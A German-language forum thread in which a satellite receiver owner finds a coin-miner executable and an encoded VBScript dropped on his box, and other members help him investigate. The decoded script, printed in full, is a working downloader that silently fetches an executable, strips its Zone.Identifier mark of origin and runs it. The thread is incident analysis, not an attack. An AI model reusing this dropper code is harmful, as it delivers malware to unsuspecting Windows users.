Flash über Nacht randvoll (trotz FE!), Box startet nicht mehr

[netwolf]

Hi,
kaum glaube man es läuft alles, kommt aus heiterem Himmel ein völlig unerwartetes Problem
Bis gestern lief noch alles fein (NN2 Image 4.0.17, FlashExpander, 64 MB Swap Image, etliche Plugins, dank FE ca. 12 MB Flash frei.)

Heute schalte ich ein, wollte ein plugin starten, startete einfach nicht. Also Box neu gestartet.
Fährt nicht hoch (hängt bei Starting...), also via telnet verbunden und df-h.
Da sehe ich dass bis auf 400 kb der gesamte /dev/root belegt ist!

Wollte also mal mit opkg remove ein paar Sachen (die ja eig. auf dem USB liegen sollten...) entfernen, aber nicht mal das geht mehr,
weil kein lock auf ein file erfolgen kann, da eben kein Platz mehr ist.

Habt ihr vll. eine Idee was da innerhalb einer Nacht den flash derartig vollfüllen kann, oder - für mich noch viel wichtiger - wie ich wieder
zu einer funktionierenden Box kommenn kann?

Vielen Dank für eure Hilfe!

 

[axel]

AW: Flash über Nacht randvoll (trotz FE!), Box startet nicht mehr

Hi,

wie ich wieder zu einer funktionierenden Box kommenn kann?

Neu flashen wird das einfachste sein.

Zu der anderen Geschichte solltest Du mal ins Syslog gucken, wenn das noch geht.

Gruß

 

[netwolf]

AW: Flash über Nacht randvoll (trotz FE!), Box startet nicht mehr

Hab jetzt in meiner Not noch etwas sehr seltsames gefunden:
direkt im root-Verzeichnis liegt ein 3,5 MB file nahmens IMG001.exe, und außerdem ein info.zip-Archiv.

Hab die .exe erstmal gelöscht (.exe hat doch dort nie und nimmer etwas verloren, oder), und die .zip auf den Rechner überspielt.
Ist eine .vbe Datei drin, lässt sich aber so nicht betrachten.
Aber auch bei der die Frage, was hat sie da verloren?!?

 

[axel]

AW: Flash über Nacht randvoll (trotz FE!), Box startet nicht mehr

.exe hat doch dort nie und nimmer etwas verloren, oder

Nein, Linux kann von Hause aus keine .exe Dateien verarbeiten (höchstens mit "wine", aber das wirst Du nicht auf der DM haben...)

Gute Frage, wie gesagt flashe das mal besser frisch + neu, auch wenn es nicht das ist, was Du wahrscheinlich hören/lesen möchtest.

Gruß

 

[netwolf]

AW: Flash über Nacht randvoll (trotz FE!), Box startet nicht mehr

Tja, wird vermutlich wirklich das Beste sein...
Kann das ein Hack-Versuch sein?

Hab das .vbe-file mal decodiert:

Spoiler

Set WshShell = CreateObject("WScript.Shell")
If Instr(1,WScript.FullName,"WScript.exe",1)>0 Then
WshShell.Run "CScript """&WScript.ScriptFullName&"""",0: WScript.Quit
End if
Tmp=WshShell.ExpandEnvironmentStrings("%TEMP%")&"\tmp2.exe"
strFileURL = ""
strHDLocation = Tmp
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1

objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0

Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing

objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if

Set objXMLHTTP = Nothing
Echo=DosCommand("cmd /c (echo [ZoneTransfer] & echo ZoneId=0) > "&Tmp&":Zone.Identifier",2000)
Echo=DosCommand("cmd /c "&Tmp&" ",2000)

WScript.Quit
Function DosCommand(command,sleep)
Set WshExec=WshShell.Exec(command): WScript.Sleep sleep: WshExec.Terminate()
DosCommand=WshExec.StdOut.ReadAll
End function

Die Box startet jetzt auch wieder, aber mich würde schon sehr interessieren was da eigentlich abgeht...?!?

EDIT: hab auch soeben bemerkt dass ca. 2000 picons in einem /backup-Ordner im root liegen, das braucht nat. auch einiges an Platz.
Hab ich aber ganz sicher auch nicht dort hingelegt, hab vor 3 Tagen mal einen picon-backup-Ordner auf /usb2 angelegt, aber das war's dann auch ganz sicher.
Seeeehhr seltsam das Ganze...

 

[axel]

AW: Flash über Nacht randvoll (trotz FE!), Box startet nicht mehr

Kann das ein Hack-Versuch sein?

Das könnte sein, ja. Dann sowieso neumachen besser.

Wo hast Du das Image her?

 

[netwolf]

AW: Flash über Nacht randvoll (trotz FE!), Box startet nicht mehr

Image ist von hier aus der Download-Sektion, diese hier: https://www.digital-eliteboard.com/vbdownloads.php?do=download&downloadid=8418

EDIT: wird immer spannender, die IMG001.exe enthält einen Trojaner/Coinnminer: TR/CoinMiner (lt. Avira).

 

[axel]

AW: Flash über Nacht randvoll (trotz FE!), Box startet nicht mehr

Ja, das Image ist völlig in Ordnung, läuft hier einwandfrei.

 

[netwolf]

AW: Flash über Nacht randvoll (trotz FE!), Box startet nicht mehr

Ja, bis vor wenigen Stunden hatte ich auch keine Probleme damit

Liegt vll. wirklich daran dass die Box von außen erreichbar ist (Ports forwarded etc.).
Das PW ist zwar nicht so schlecht, aber sicher auch nicht unknackbar.

Ich frage mich nur wieso jemand sich das antut, und dann eine .exe auf einer Linux-Box hinterlässt... ?!

Gibt's eigentlich sowas wie ein connection-log in dem man sieht, wer sich aller mit der box verbinden wollte?
Oder sowas wie ein auth.log, um login-Versuche nachzuprüfen?

 

[axel]

AW: Flash über Nacht randvoll (trotz FE!), Box startet nicht mehr

Gibt's eigentlich sowas wie ein connection-log in dem man sieht, wer sich aller mit der box verbinden wollte?
Oder sowas wie ein auth.log, um login-Versuche nachzuprüfen?

Ja gibt es, Syslog und auth-log, beides zu finden wenn in /var/log/.

Gruß

 

[DarkStarXxX]

AW: Flash über Nacht randvoll (trotz FE!), Box startet nicht mehr

Mal als Tipp: Flashexpander lagert "nur" /usr aus.

 

[supraracer]

AW: Flash über Nacht randvoll (trotz FE!), Box startet nicht mehr

Bitcoin Miner auf einer 800se, sehr geil.
Hake es ab unter "wieder etwas gelernt", flashe die Box neu und schließe alle deine Ports von außen.

-supraracer

 

[chiefobrei]

AW: Flash über Nacht randvoll (trotz FE!), Box startet nicht mehr

Image ist von hier aus der Download-Sektion, diese hier: https://www.digital-eliteboard.com/vbdownloads.php?do=download&downloadid=8418

EDIT: wird immer spannender, die IMG001.exe enthält einen Trojaner/Coinnminer: TR/CoinMiner (lt. Avira).

Ähnlich wie hier beschrieben:

https://www.digital-eliteboard.com/threads/400195

 

[netwolf]

AW: Flash über Nacht randvoll (trotz FE!), Box startet nicht mehr

Ja, sehr ähnlicher Angriffs-Vektor.
Mit dem Unterschied dass ich das Glück hatte, dass das eigentliche Target scheinbar ein Windows-Rechner war und deshalb außer ein paar Dateien, die zwar erstellt aber nicht ausführbar sind, nichts passiert zu sein scheint.

 

[datamen]

AW: Flash über Nacht randvoll (trotz FE!), Box startet nicht mehr

Was stand denn nun im Log ?